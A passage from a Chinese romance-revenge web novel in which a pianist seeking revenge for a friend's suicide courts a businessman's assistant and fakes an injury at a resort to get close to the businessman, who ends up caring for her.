钱峰扫了一眼后座,自作主张回;“上来吧!”
岳然拉开车门。
钱峰扬起下巴对着窗外提醒:“你的杯子!”
杯子还在路边躺着,那是母亲给她买的,差点忘了。顺手关上车门,岳然小跑去捡杯子。
坐在后座江辞宴,见不得钱峰这谄媚的模样,恨铁不成钢小声奚落:“你真没救了!”
“顺路带一下别人,又不会怎么样,”钱峰狡辩,“就算真像你说的,人家真有男朋友,那做个普通朋友又不是不行。”
江辞宴望着岳然手里杯子冷笑,“你觉得用那种杯子的女人,会缺打车费?”
钱峰也看了一眼那杯子,没回话,那杯子是某个高端品牌的限量款,一个几万块,可那又怎样,岳然又没说她家境贫寒。
江辞宴继续火上浇油:“下次别用我车做人情,否则你到时候被骗得裤衩都不剩,还怪我把车借给你。”
钱峰咬牙切齿,扫到捡好杯子返回的岳然,深吸几口气,压制住胸口因江辞宴燃气的那股火。
岳然打开车门,下意识望向后座,目光与江辞宴那双皎洁的丹凤眼对上,她局促错开,假意问:“江总也在,会不会不方便?”
江辞宴嗤笑一声,深邃的眸子邪睨着她,“知道不方便,你还好意思搭顺风车?”
岳然僵在原地,坐也不是,不坐也不是。
正欲退出去…
钱峰抓住她的袖口,“江总喜欢开玩笑,逗你玩呢,赶快坐下,你不是赶时间吗?”
岳然干笑两声,假意回:“没想到江总平时在商场杀伐决断,私下人却那么幽默。”
江辞宴手机放下,挑眉看着岳然,“看来你平时没少调查我们江家,对我们江家倒是了如指掌。”
江辞宴突然被揭底,岳然也不慌乱,含笑解释:“之前想进集团工作,无意了解罢了,谈不上调查。”
江辞宴凉薄的声音飘过来,“江家也不是什么人,都能进去的。”
江辞宴真不是个东西,要不是为了送他进监狱,给她提鞋,都不要。
岳然暗骂几句,脸上还是依旧面带微笑,望向钱峰:“那是肯定的,不是谁都能进去,那天在车上,我还羡慕钱助理能在那么好的公司步步高升,我们普通人望尘莫及。”
江辞宴冷哼一声,没再搭理她。
钱峰笑问:“岳小姐学什么专业?”
岳然:“音乐表演专业。”
钱峰:“难怪,专业不对口。”
江辞宴接话:“当然不对口,我们江家可没有养闲人的岗位。”
岳然心一时死得彻底,不知道江辞宴对她,哪里来的敌意。
现在别说,她用这几分姿色去勾引江辞宴。
她怀疑现在脱.光,躺在床上,江辞宴也无动于衷。
江辞宴不喜欢她就算了,还不给钱峰跟她接触。
估计他喜欢钱峰,都不可能喜欢她。
岳然心有不甘,也没有再逞口舌之快。
只能找个稳妥的法子前进,不能冒然行动。
那天从公交站去医院的路上发生了什么?
莫非她说了什么不该说的话?
不可能啊,钱峰也在场。
可什么都没说,江辞宴为什么讨厌她?
车开到半路,母亲电话打了过来。
岳然硬着头皮接起来。
“宝宝你到哪里了?”
虽然没开免提,母亲清脆的声音在车里依旧格外清晰。
“妈妈,我马上就到,不跟你说了。”
岳然压低嗓音说完,立马挂断电话,手机关成静音。
她赶着去参加一个国际著名交响乐团的合作会。
她暂时不参加东城的地方演出,但是国际合作还是不能丢,机不可失。
现在她这模样,也不需要藏头露尾,脸也算是她的优势。
哪怕技艺不够,别人也会喊她花瓶,何况她这技艺得到过那么多人的肯定。
美貌可以让她锦上添花,没啥不好的。
以前确实不好看,让他们专注欣赏她的音乐也挺好。
钱峰问:“岳小姐是要赶着去跟家里人吃饭吗?”
“嗯,来了两个远房亲戚。”
岳然谎话张口就来。
又过了几分钟,岳然叫钱峰前面几百米处商场放她下车。
岳然下车之前问钱峰什么时候有时间,请他们吃饭。
那边闷声许久的江辞宴又开口说,凭什么跟她吃饭。
岳然恍若未闻,懒得理江辞宴,
钱峰告诉她,随时都可以。
岳然笑回,“那明天,不然我等你有时间约我,恐怕又要等几个月。”
钱峰脸刷地红了,支支吾吾解释:“我是……我不是,不想跟你吃饭,我是怕……饭吃多了,影响你跟男朋友关系。”
原来如此,岳然挑眉,盯着他看:“谁告诉你我有男朋友?”
车内一时陷入死寂。
岳然笑着补充:“我单身,可以吃饭,再说有男朋友,就不能请救命恩人吃饭吗?不过要是钱助理女朋友介意那就算了。”
钱峰笑起来,连忙说:“你说的对,吃个饭而已,没啥可顾虑的,我也没女朋友。”
岳然笑笑,打个招呼走了。
钱峰这话是说给江辞宴听的。
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江辞宴早就听出来了。
这两个星期他逻列出各种细节,证明岳然这女人不怀好意。
第一次见面,她抱着他的手不放,又说那种话。
要么认错人,要么认识他。
两种情况都有可能。
可两种情况背后的故事都值得推敲。
第一认错人,能这样亲密抱着的人,只能是情人。
第二认识他,见到他那么兴奋,对他没安好心。
为了钱,如狼似虎的女人他见得太多,逃不过他的眼睛。
这女人莫非是觉得他这边没机会,退而求其次,盯上钱峰了?
眼前钱峰看到岳然时这痴傻样,说明他这两个星期努力彻底白费了,钱峰平时工作上面面俱到,怎么遇到一个稍微有点姿色的女人,就掉链子。
要女人,一抓一大把。
江辞宴头探向驾驶座,拉进跟钱峰距离,低声问:“你要是真想女人,我给你介绍几个?”
钱峰握着方向盘的手一抖,收回落在车外岳然身上的视线,瞪了江辞宴一眼,“你真是有病!”
“岳然这女人不行,你玩不过她。”
“我下班了,你自己开车回去,以后别叫我陪你去江家庄园,不然我欠不了你那么多人情。”钱峰开门下去,甩上车门。
江辞宴靠着椅背连连叹气,钱峰才认识岳然几天,他们那么多年的友情,就出现裂缝。
再过段时间,钱峰估计要因为岳然跟他决裂了。
他都怀疑岳然是江毅派过来分裂他和钱峰的奸细。
搞垮他和钱峰多年建立起来的情谊,让他在江氏集团孤立无援。
是得花点心思去好好查一下这女人了。
她说给集团投过简历。
江辞宴发消息去给人事经理,让他以最快的速度找出岳然简历。
10分钟以后,人事主管把简历发了过来。
江辞宴看到简历上毕业院校,明白了岳然为什么没有被录取。
岳然面试前台,以她的姿色,前台怎么可能会面试上不。
主要是一年前,公司出了那件事以后,“东城艺术学院”的学生简历,都会被系统自动刷掉。
这女人没说谎。
可能她真是为了报答,那天他们顺手的救命之恩。
没有肯定的答案。
江辞宴莫名有些心慌。
盯着简历上照片,看了许久。
她是好看,浓眉大眼,波浪长卷发,精致的像个芭比娃娃。
仔细一看,总觉得这双黝黑的大眼睛里,藏着无法估量的野心。
看久了,又觉得是自己太过多疑。
她也不像一个缺钱的人。
图钱的话,钱峰算不上有钱,图势的话,钱峰也没什么势。
单纯喜欢钱峰?
岳然又不像那么单纯的女人。
江辞宴想不明白,一个头两个大。
他打点开钢琴曲,闭眼听着。
越听越烦,反正钱峰没几个钱,真被骗的话,大不了他去找律师帮他把钱拿回来。
“东城艺术学院”是国内数一数二的艺术学校,能进去的人都有几把刷子。
他喜欢听钢琴曲,特别是在演奏会现场听。
要是这女人是个好人的话。
钱峰跟她在一起,也挺好,以后他们结婚,他就送一架钢琴过去。
这样的话,每次去找钱峰玩,都能免费听钢琴曲。
只是不知道这女人水准如何。
江辞宴觉得自己担心有些多余,水准不够也当不了别墅区那边的家教。
这样一想,江辞宴都要为刚才路上的无礼感到歉意了。
可话都说出去,也收不回来。
难不成明天他跟着钱峰过去吃饭,买单,致歉?
江辞宴又打开简历看一遍,岳然是东城本地人,父母是老师。
确实不太像个骗子。
5. 第5章
临近下班时间,钱峰还在办公室里,不紧不慢整理手头资料。
江辞宴带着歉意,好意提醒:“你跟别人吃饭,不用提前,准备一下吗?”
钱峰低着头,手微微一顿问:“吃什么饭?”
江辞宴纳闷,莫非钱峰想通了,觉得主动投怀送抱的女人不靠谱,随口问:“你清醒了?认清了,那女人?”
钱峰冷嗤一声抬头,冷冷看了他一眼:“拜你所赐,人家说这段时间可能都没时间。”
江辞宴讶异:“你还真喜欢她!”
钱峰没再理他。
国际合作项目谈下来了,岳然要出国演出,一家人都比较重视。
岳然最近忙着排练演出时的曲目。
江家别墅那边做家教也没办法继续。
现在认识钱峰,即使没有那边家教,想见江辞宴也容易,而且估计见到人也没什么用。
江辞宴这人多疑,又过于谨慎,跟传闻中不太一样。
岳然跟授课那边的雇主请假,没细说原因,只说要参加表演,如果不方便的话,就另外请家教,雇主说不管多久,都等着她。
她也没再推辞,万一以后还得去那边演戏。
第一场合作是在加拿大温哥华,演出很成功。
她排练许久,最后跟当地很出名的歌唱家,当伴奏,没有单独演出的机会。
原本还担心露脸,结果演出下来,估计镜头都没拍到她。
岳然有些失望,又松一口气。
现在不是露脸的时候。
合作方很满意她的表现,说这只是开始,后续会有更多合作机会。
母亲在路上抱怨一路,说辛辛苦苦准备三周的演出,感觉被对方耍了。
岳然一路都在琢磨,怎么才能吸引江辞宴注意,心不在焉随口附和着。
“宝宝,你专辑的事情有没有头绪了?”
岳然走神,压根没发现母亲跟她打招呼。
林意琴倾身拨弄岳然手臂,“宝宝你发什么呆?”
岳然错愕抬头问:“妈妈你说什么?”
林意琴又重复问一遍:“新专辑怎么样了?”
岳然皱眉,偏头避开母亲目光,“妈妈,哪有那么容易,你又不是不知道创作有多难,这才多久!”
其实她搬出来这两个月,只忙着跟踪江辞宴,没有心思想新专辑的事情。
林意琴:“不是妈妈要催你,是那边音乐公司的问我,你要是没灵感就算了,搬回来跟我们一起住。”
“不了妈妈,我独处要好一点,不是我不想跟你一起,而是在一起你也帮不了我。”
岳然连忙拒绝,“等下我先回公寓,这次海外合作,我收获挺大的,有了一些新想法,你回家好好休息一下,这段时间你太辛苦了。”
林意琴激动起来:“意思你不跟我们回去?”
岳然点头,“我回公寓,看能不能编一下曲。”
听到编曲,林意琴没再说什么。
岳然闭目养神一路,生怕多说几句话就穿帮。
不送江辞宴进监狱,她没心思搞创作。
母亲叫助理送她,她婉拒了。
当初为了方面接近江辞宴,又不被家里打扰,公寓她租在离家很远,离江辞宴家里又刚好的小区。
三室一厅家具齐全。
一个卧室放钢琴,一个卧室睡觉,一个卧室空着。
钢琴放进去两个多月,没动过。
不喜欢在公寓练琴,扰民。
分开已经3个星期。
钱峰最近倒是经常发消息给她,问的都是一些虚头巴脑的问题。
吃饭了没有?
在干嘛?
最近好吗?
……
问题毫无价值。
她又不能主动出击。
坐上车,岳然点进钱峰朋友圈看了一下动态,退出来。
现在15:10。
约个晚饭应该没问题。
可6个多小时的长途飞机,太累了。
明天再说。
明天周五,还可以去江家庄园那边“偶遇”一下人。
以何种方式偶遇?
上两节课,在公交站等两个小时?
岳然摇头,上次江辞宴那态度,估计遇到她车都不可能会停。
岳然死心了。
刚到小区门口。
岳然手刚搭上车门欲下车。
“美女,你等下!”司机师傅满脸笑意,扭头头看她,身体都快扭360度了。
岳然推起快要掉下鼻梁的墨镜,看着师傅。
师傅慌里慌张打开扶手箱,掏出一个笔记本,翻了半天找出一支笔,递过来,“我女儿是你的粉丝,帮我签个名好不好?”
岳然傻眼,拿掉墨镜问:“你是不是认错人了?”
师傅没收回递过来的笔记本和笔,打量着她。
岳然心虚微微偏头,莫非真被粉丝认出来?
可她现在,跟一年前外貌相比,可谓是天差地别。
要不是父母天生高颜值,亲戚见了她,都得问一句是不是整容了。
恰好她五官继承了父母所有优点,亲戚见了面,都只是感慨,我就说,然然瘦下来一定好看。
然后一堆人争先恐后问她,到底怎么做到一年不到,可以瘦这么多。
当初她说要减肥,母亲都以为她在开玩笑。
直到后面,她叫母亲给她找营养师和健身教练。
母亲才相信她是下定决心减肥。
她肥胖有大半原因是因为父母的纵容。
在父母眼里,她美丑无关痛痒,只要自己身体健康就行。
那时健康没什么问题,可肥胖还是困住了她22年。
虽然表面是因为她喜欢钻研艺术,不喜欢运动,不喜欢和别人相处。
实际还是对别人口中那些有意无意的打击,刺激,感到厌烦。
人分善恶两面,她过往的许多年都被陌生人恶意压着。
直到遇到洛璃,那个天使一样善良的女孩子。
大一时候,在钢琴教室,洛璃毫无预兆的闯入她的生活。
打破了她眼里陌生人都不是好人的成见。
洛璃大她一级,是舞蹈系的精灵。
她们在一起的三年,无话不谈,洛璃弹琴她独舞。
从没有嫌弃过她的孤僻,偏执,还叫她多跟别人接触。
洛璃告诉她,跟人相处,遇到相处起来舒服的人留下,不舒服的放下。
她屡试屡败,跟旁人相处不好,总觉得别人看不起她。
其实她没多在意别人,看得起,还是看不起,只是觉得相处麻烦罢了。
她都还没来得及告诉洛璃,哪怕与人相处是她的短板,可她在钢琴上算是王者。
隐藏身份久了,她不想别人因为名气亲近她。
那时候她觉得有洛璃就够了,不管她是谁,反正在洛璃面前,她只做最真实的自己。
可老天偏偏就要夺走她唯一的星光。
江辞宴该死。
早就该死了。
“咔嚓。”手里墨镜鼻托断裂。
师傅吓一跳,缩回手,“对不起美女,是我认错人了,我以为你是演《欢喜一家人》的岑念,你们长得有点像……”
岳然没说话,推开门下车,只要不是真认出她就行。
她线上粉丝有一千多万。
大部分粉丝是她发第一张专辑,《幻夜之境》涨起来的。
《幻夜之境》始于她16岁的灵感,17岁录制成功,18岁做她的成人礼发行。
专辑上市,销量突破千万。
那年火了以后,她为了躲避采访,休学一年,转了校。
一年几乎都没出门。
父母也不管她,反正外面的事情有他们操持。
她在家里呆着,他们更放心,偶尔两个亲戚过来,说她这样要呆出自闭症。
父母立刻反驳,说是她是音乐天才,融入不了普通人才正常。
父母嘴上无关痛痒,实际还是有点担心她,没过多久偷偷找了个心理医生过来看她。
还骗她是性格测试的老师,说是测试一下性格
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,好给她做未来规划。
才见面她就看出来了,只是懒得拆穿。
后来心理医生说,搞创作的人,都不太合群,很正常。
她在楼上偷偷听到的话。
她没病,只是外貌上自卑,有点不想见人罢了。
每次跟父母出去,人家都说她是他们的妹妹,很烦…
岳然回到家,躺在沙发上一动不动。
原本在飞机上没吃几口,肚子很饿。
想到江辞宴,饱了。
这男人不能让他过太久的好日子。
否则不知道有多少妙龄少女栽在他手里。
必须加快进度。
她打开手机,编辑消息过去给钱峰。
【周六要不要一起去打网球?】
消息秒回:【好啊!几点?去哪里?】
岳然第一想到的是江辞宴经常去的那个度假村。
江辞宴每隔一两个月就会跑去度假村那边休息两天,看到两次他在那边打网球。
这次时间刚好差不多。
也不可能直接发度假村名字过去。
岳然思索片刻编辑消息:【这段时间精神紧绷,你看有没有哪里可以一边打网球,一边度假的地方?】
消息发出去,岳然又觉得太直白,这话意思,搞得好像她迫不及待要同钱峰发生点什么一样。
对话框,撤回两个字刚跳出来,还没点。
钱峰消息进来了:【有的,我把位置发给你。】
位置进来,刚好是江辞宴经常去的度假村。
岳然一笑,从沙发坐起来,真是得来全部废功夫。
可她这样对钱峰抛出橄榄枝,会不会引来更多的猜忌?
管他的,她又不想跟钱峰有什么情感纠葛。反正,只要她守住底线,钱峰想太多是钱峰的事情。
钱峰消息又跳出来:【几点?我过来接你。】
岳然:【中午,你看着安排,我周末喜欢睡懒觉。】
钱峰:【好的那周六联系。】
…
两人聊了好久,岳然都没试探出江辞宴会不会去。
钱峰倒是问了许多关于她的问题。
这段时间去哪里,做什么了。
她编了一大堆假话。
真累。
周五岳然没去给学生上课。
在家躺了一天,晕沉沉的。
岳然有种要感冒的错觉。
晚饭时,给自己熬了一碗姜汤,喝下去。
教练发消息问她最近两个月有没有坚持锻炼,体重有没有反弹之类的。
她还撒谎说按时锻炼,反弹倒是真没有,体重浮动在110斤,106斤,之间。
最近就是106。
父母嫌她太瘦,在温哥华一直带她四处觅食。
她不敢吃太多,依旧涨了两斤。
她168的个子,不算瘦,因为是锻炼减下来的,肌肉率高,看起来可能比168cm,108斤不锻炼的人纤细。
父母会觉得她瘦,很正常。
她是要报复江辞宴,可也不想真因为这男人变得不人不鬼。
临睡前,钱峰发消息过来,同她确定好时间。
岳然便睡了,刚好10点。
“岳小然,你要照顾好自己!”洛璃远远同她打招呼。
“你别走!等一下!”岳然伸手一抓。
手在黑夜里扑空,人惊醒过来。
后背全是冷汗,摸起手机看时间,4:15。
手机丢一边,闭上眼睛,再也没睡着。
她把自己照顾得很好,只是恨自己这条复仇之路走得太慢了。
岳然打定主意,如果她入不了江辞宴的眼,那就从钱峰下手。
钱峰告诉她,他是江辞宴大学同学。两人关系亲密,钱峰不可能对洛璃的事情一无所知。
她不信一向通透的洛璃,会突然被感情击垮,想不开,选择自杀。
洛璃口中爱错的男人,就一点过错都没有,唯独他在感情里全身而退。
哪有那么便宜又离谱的事。
6. 第6章
岳然拿好东西出小区,钱峰开着一辆普通的黑色轿车停在路口。
这应该是钱峰的车。
江辞宴不可能瞧上这种中端配置的轿车。
钱峰在车里招手。
岳然拿着球拍,加快脚步,没走多远,手里东西,被车上下来的钱峰接过去。
钱峰打开后备箱,球拍放进去:“其实你不用带球拍,度假村那边都有。”
“习惯了,用别的手感不好。”岳然拉开副驾座车门坐进去。
钱峰坐进来问:“岳然你是本地人吗?”
岳然扯安全带的动作微顿,抬头看钱峰,反问:“本地人怎么了?”
钱峰笑了笑,微微低头,“我就觉得你挺讲究的。”
这是说她做作的意思?
她也怕到时候度假村那边网球拍不够,否则她才懒得带,重死了。
“我家城中村的,没那么讲究,我怕到时候球拍不够。”岳然直说。
钱峰一笑:“你说的对,你吃饭了没有?”
岳然摇头:“你呢?”
钱峰:“那要不我带你去买点零食先垫一下肚子,菜已经打电话给度假村定好了,过去要一个小时,我怕你饿不住。”
这么说江辞宴也过去了?
岳然大喜,只盼着早点见到江辞宴,连忙摇头,“我不饿,等下我多吃点菜。”
“那好!”
一个小时后。
钱峰带着她进度假村餐馆。
并没有江辞宴,只有桌上八菜一汤。
岳然泄气,胃口全无。
钱峰见她脸色不对,问她是不是不舒服。
她随口回,吃不了那么多,怕浪费。
钱峰说量少,他食量大,没事。
最后两人菜一半都没吃完。
沿着度假村观光区逛了许久。
岳然又不好直接问,为什么江辞宴没来。
最后象征性拿好球拍去了网球场。
岳然看到网球场上,来回奔走的江辞宴时,低落的心情一扫而空,瞬间满血复活。
他今天穿着一身深灰色休闲套装,个子又高,27岁的人,看起来像20岁左右的男大学生。
衣冠禽兽大概都是这样的,表面衣冠楚楚,朝气蓬勃,暗地里专做猪狗不如的事情。
岳然暗自冷笑,目光犹如一把无形冰冷的利箭,早已射杀江辞宴千百次。
一个擦边球落下,江辞宴反击过去,另外一个男人没接住。
两人停下来,看向他们。
钱峰扭头问:“你还有力气打吗?”
“嗯。”岳然说着脱了长款外套,漏出修长白斩的腿。
钱峰一愣,连忙错开放在腿上的目光,“排球我不会打,你跟他们一起玩,我在旁边观战。”
岳然求之不得,客套话都没说。
钱峰手机铃声响了。
屏幕上写着——“舅妈”。
钱峰接通电话,脸色瞬间沉下来,“你别急,我马上过来。”
电话那端说的是方言,岳然没听清电话里说什么,可也大概能从钱峰表情判断出来,事情不小。
岳然拿过钱峰手里球拍,小声安慰:“你有事先走,别管我。”
钱峰挂断电话,一脸歉意看着她:“要不要我先送你回去?”
江辞宴他们已经过来。
岳然不知道他们会不会一起离开,没立刻回话。
江辞宴问钱峰:“怎么了?”
钱峰抿了抿嘴,沉默片刻回:“我舅那边出车祸了,我要赶着过去看一下。”
江辞宴皱眉:“伤的严不严重?我跟一起过去。”
“我舅没受伤,是他撞了别人,不过对方没按交规骑车,你跟秦靖在这边玩,我处理好的话,再回来。”
钱峰看向她:“要不你就跟他们在这里一起玩,我尽快赶回来。”
岳然点头,客套的说了几句,叫他注意安全。
原本还嫌多一个人不好。
三人没走几步,江辞宴就把秦靖支走了,叫他跟着钱峰去看一下。
“没想到岳小姐,还会打排球。”江辞宴难得脸色舒展开来,脸上带着笑意。
也不知道这人是心情好还是怎么回事,跟前两次比,态度倒是转了180度的弯。
岳然拿出排球拍,笑回:“偶尔练一下,减肥,技术不行,江总手下留情。”
江辞宴迅速从上到下扫了她一眼,嗤笑一声,“我可不是钱峰,不会因为你是个女的,就怜香惜玉,技术不行,就该多练一下,而不是叫别人让着你。”
这说的都是什么屁话,不知道的,还以为这是参加什么国际重要比赛,正常人也说不出这话。
岳然暗自骂人,嘴上还是保持微笑,“江总说的对,我尽量全力以赴,技不如人,我也认了。”
江辞宴没理她,拿着球拍往另外一边去了。
还以为这人吃错药,给她好脸色。
结果一分钟都没装下去。
岳然火气很大。
连续打了半个小时。
也没能在排球上为自己长脸。
两人数场比赛下来,岳然输得一败涂地。
总共10个球都没接到。
全程成了陪练。
江辞宴兴致盎然,没有停下来的意思。
她汗流浃背,感觉黑色裤裙都湿透了,风吹来时,屁股一阵冰凉。
刚发过去的球,又直直冲她飞过来,一时火气直冒,极力挥起球拍,球打了过去。
岳然还来不及高兴,小腹一阵刺痛,腿一软,栽了出去。
她用球拍垫了一下,手肘直磕在地上,仿佛脱了一层皮,生疼。
岳然半躺着不动,全身上下没有一处不疼,整个人散架一样。
她被激得脑子一热,还真当是过来跟江辞宴比赛了。
胜负欲上来,脑子就当机。
哪怕她赢了江辞宴,莫非这男人就会正眼看她?
做梦。
赶过来的江辞宴,居高临下站在离她一米远的地方不动,眼底全是轻蔑,嘴角撤出一个讥讽的弧度:“你不是要减肥吗?”
岳然懒得理他,丢掉球拍,动手肘时,手肘处破了两个指节大的皮,漏出一点肉,没有出血。
她抬手摸了一下,倒抽吸口凉气。
“你别用手碰伤口,手脏…”江辞宴俯身,控制住她未受伤的左手,“等下消毒贴创口贴就行。”
得亏江辞宴脸上没有幸灾乐祸的表情,不然岳然都怕自己忍不住甩他一巴掌。
江辞宴目光落在她腿上问:“你腿怎么样,还能不能站起来?”
腿发软,没受伤,没事到嘴边,又被岳然咽下去,转念回:“有点痛,不知道是不是伤到骨头头了。”
岳然故意抬脚动了几下,低呼几声,生怕江辞宴不信。
江辞宴四处巡视一番,眉头微蹙,目光落在她脸上,“你是要在这里等我叫人过来,还是我
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带你过去。”
要不是为了勾引江辞宴,岳然果断选择前者,可要勾引他,只能让他带她过去,至于怎么带过去,看江辞宴。
“也没多严重,你扶我过去就行。”岳然反握住他的手臂,借力站起来,以退为进。
眼看两人站稳,岳然腿一软,直往江辞宴怀里倒。
江辞宴死死控住她的肩膀,不让她靠近一分。
“嘶……”肩膀一紧,比刚才还疼。
“你不方便的话就别逞强。”江辞宴上下打量她,蹲了下来,“我背你过去。”
“那麻烦你了。”
岳然客套一下,目光落在眼前这宽阔的肩膀时,有些发愣,乍一看,让人觉得这人无比可靠。
可这江辞宴这双手,不知道害死了多少人。
“怎么了?”江辞宴一脸不解回头看她。
岳然吓得一激灵,手掐在他肩膀上。
“嘶……”江辞宴倒抽一口气,抱怨,“你这是在报复我?”
就是报复。
岳然回:“我怕弄脏你衣服,我手出血了。”
“墨迹!”江辞宴反手一揽,她扑倒在他后背,整个人严丝合缝,贴着他。
岳然血气冲上脸,用手抵着他的肩膀,试图拉开彼此距离。
江辞宴身体短暂一僵,把她背起来。
岳然浑身不自在,全身紧绷。
江辞宴全身都是热的,有些炙人。
岳然想保持点距离,可随着江辞宴步伐颠簸,还是时不时靠在他身上。
岳然暗骂自己矫情,她还自以为,为了给洛璃报仇,可以付出一切,如今只是这样算什么。
岳然心一横,用没受伤的左手,直接圈住江辞宴脖子。
江辞宴脚步一顿,“你要勒死我吗?”
“我……我怕不稳,掉下去。”岳然放松手,手指刚好搭在江辞宴锁骨。
江辞宴一激灵,停下来,“大姐,你扶着肩膀就行,我背你,能背得动,掉不下来。”
岳然手立刻移到江辞宴肩膀,死死抓住,暗骂几句,什么玩意,还大姐,她比他小4岁。
江辞宴放开她的双腿,她吓得轻轻颠了一下。
惯性上移几分。
惊恐之余,小腹处一股暖流直下。
岳然头皮一紧,慌张抬起双手,抵着江辞宴整个背。
江辞宴扶着双腿的手更用力:“你别动,不然真掉下去了!”
情况不对,岳然连忙开口:“你快放我下来!”
江辞宴冷哼一声,力道又大一分,“你较什么劲,说你几句,你还不高兴,你以为我想背你。”
已经来不及了,岳然能感觉到下腹的湿意。
江辞宴也感觉到了那股湿意,顿时一僵,耳根红透,猛然放下她,“你这女人……真是……”
岳然一张脸涨成猪肝色,连忙道歉:“对不起,我也不知道会这样。”
江辞宴黑脸,后面衣服拽往前,衣服上杏仁大的一块血迹,他皱眉看一眼,微愣:“你来那个了?”
岳然脸又红一个度,这男人原本想成什么了。
“我以为……”
“来人了!”岳然别开脸,打断。
远方一对男女走过来。
岳然扫了一眼江辞宴衣服,靠近他两步挡住,她穿的是黑色连体裤裙,看不出来,只是尴尬的想死。
江辞宴突然蹲了下来。
岳然惊呆。
他要干嘛?
7. 第7章
江辞宴蹲在地上,百米开外的两个人看过来。
岳然想挡住他衣服上的血迹都挡不住。
只能换个方向,站着。
江辞宴回头,沉着脸说:“你磨蹭什么,上来!”
要背她?
这种情况还背?
岳然一动不动,怔愣间,江辞宴伸手过来揽她的脚,她一让,主动趴到他背上。
感觉小腹下面热流更汹涌。
江辞宴倒是若无其事背着她,向前走。
岳然丢了脸,依旧试图麻痹自己,要不是江辞宴拉着她打球,运动过于激烈,也不会这时候来月经。
两个人也不至于这么难堪,是他的问题。
难怪这两天身体不舒服。
原来是…生理期…
她彻底忙忘了。
江辞宴背着她避着人走。
时不时还是能听到不远处传来一些离谱的话。
“真般配!”
“都是情侣,你看人家多会疼人。”
“热恋中谁都这样,日子久了,你再看一看。”
…
江辞宴脚下生风。
岳然抓住他的肩膀,一句话没敢说。
生怕一开口,激怒人,还不等她要江辞宴偿命。
江辞宴先给她丢地上,摔成残废。
江辞宴带她去了他常住的宾馆。
前台看到他们愣了一下,打招呼:“江总!”
江辞宴没理,岳然匍匐在他背上,低头不敢看人。
到套房门口,江辞宴猛然放下她。
岳然扶墙站定,正犹豫要不要跟他一起进去。
江辞宴拿出兜里房卡打开门,转身把她抱了起来。
岳然还来不及反应,急忙搂住他脖子。
江辞宴把她丢在床上,脱了身上灰色卫衣,丢在她旁边,进了卫生间。
江辞宴全程没给她正脸。
岳然只能看到他后背流畅的肌肉线条。
岳然抿着嘴,偏头看着床上卫衣,上面拳头大的血迹。
她现在想死。
“哐。”卫生间门打开。
江辞宴披着浴巾出来,漏出一点腹肌,脸黑如锅底,头发湿了,水从额头一直滴到下巴,滴到胸口,一路向下滴入……
江辞宴瞥她一眼,往门口走。
岳然慌忙收回视线,听到开门声抬头,已经不见人影。
现在小腹下面时不时不舒服。
她连忙坐起,床上已经有一点血。
刚才她也来不及喊江辞宴把她放在沙发上。
可弄在沙发上也一样,更难清理。
她不可能呆在这里等江辞宴气消了,回来吧?
她腿没问题,只是有点发软,早知道不装受伤了,反正黑色裤裙又看不出来,把外套穿上,更看不到……
糟糕!
外套!
外套和包都没带,全在网球场。
手机也在那边。
什么叫做“屋漏偏逢连夜雨”!
老天真是助纣为虐,一点活路不给她留。
岳然踟蹰片刻,决定下楼。
没走两步。
“咔嚓……”门开了。
岳然曲腿,装成一副腿受伤的模样站着。
江辞宴进来,皱着眉头,冷眼望着她问:“你又要干嘛?”
“我……”她看到他手里的卫生棉,没说下去。
江辞宴卫生棉塞她怀里,打横抱起她,咬牙切齿说:“岳然你到底是不是女人?”
“你别把我放床上,上面有……”
江辞宴已经看到床上的血迹,长叹一口气,“你是血包吗?那么多血。”
岳然完全没力气反驳他,头一阵一阵晕眩,感觉睁眼都费劲。
江辞宴把她抱到卫生间,放马桶上坐着,居高临下,一脸无奈看着她,“等下弄好叫我。”
他走到门口又回头,盯着她的脸说:“每次见到你都病殃殃的模样,也不知道钱峰喜欢你什么。”
岳然心情一时跌入谷底。
她还以为江辞宴对她至少有一分好感,结果是因为别人,才照顾她。
岳然冷笑,果然商人因为利益,什么事情都能做出来。
钱峰说过,他跟江辞宴是大学同学,毕业以后就跟着江辞宴一起工作了。
两人感情,可见一斑。
她再试几次,不行盯着钱峰也可以,反正她收集到证据就可以。
“砰……砰……砰……”江辞宴敲门,不耐烦问:“你怎么样?怎么这么慢?”
“等一下!”岳然卫生棉包装都没拆。
外面没了动静,她换好东西,往门边走。
总感觉有一股血腥味在空气中蔓延,顾不上那么多,反正都狼狈成这样,破罐子破摔。
门打开。
江辞宴扫了一眼她的腿,“你腿好了?”
“可以走,不怎么疼了!”岳然走了一步,下意识拉着江辞宴手。
她刚想移开,江辞宴反手抓住。
岳然只好给他牵着:“我东西还在网球场,怎么办?”
“我叫人去拿了,马上送过来。”
岳然点头,瞥见床上的衣服和被子,小声说:“衣服我跟你洗好以后还给你,被子你叫人来换一下,实在不好意思,对不起!”
“这还用你说,你管好自己就行!”江辞宴嗤笑两声,让她坐沙发上。
岳然有些没脸看他,低声说:“谢谢!”
江辞宴拿好消毒用品,顺势在她旁边坐下,“你别谢我,我在想,钱峰以后带着你这病秧子,怎么过。”
岳然没忍住瞅他一眼。
江辞宴视而不见,拉过她的手,用碘伏给她清理手臂伤口,贴上创可贴,越发没脸没皮。
“我说的不对吗?每次见你都是要死不活的。”江辞宴拍了拍新换的蓝色卫衣,“真是晦气。”
岳然怒火点燃反驳:“所有女人都会这样,生物你没学过吗?我没求你背我,我也没说非要嫁给你朋友。”
江辞宴嘴角抽了抽,没说话。
岳然扭头不看他,往沙发角移了一下,低头生闷气。
半晌,耳边冷不丁飘来一句:“我这一路脸被你丢光,说你两句,你还生气,我意思是叫你好好照顾自己,别把自己搞得病殃殃的,看起来碍眼。”
小腹一阵抽痛,岳然伸手按住。
江辞宴往她身旁靠了一点问:“很难受吗?你想吃什么?”
岳然闭上眼,有气无力回:“我头晕,我想睡一觉。”
江辞宴站起来,弯腰要抱她,她拦住他,“我自己走过去。”
江辞宴摊开手,给她扶住。
岳然都不知江辞宴怎么能做到,照顾她的时候如此自然,莫名其妙。
本来想说回家的,可是她太困。
昨夜噩梦惊醒,一直醒着,没阖眼。
反正这床已经这样,要是再染上一些,也差不多,都要洗。
这一觉睡得很沉。
岳然感觉心越发大了,江辞宴这种魔鬼在身边,都能睡这么安稳。
到底是该怪自己心大,还是目前为止还没看到他狐狸尾巴,让她产生一种,这男人不是个坏蛋的错觉。
醒来已经天黑。
江辞宴不在。
她精神恢复不少,就是胃里空空的
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,一直叫嚣。
包在床头柜放着,外套在沙发上。
她打开包拿出手机。
微信点开,钱峰发两条消息过来。
【我有事回不来了!】
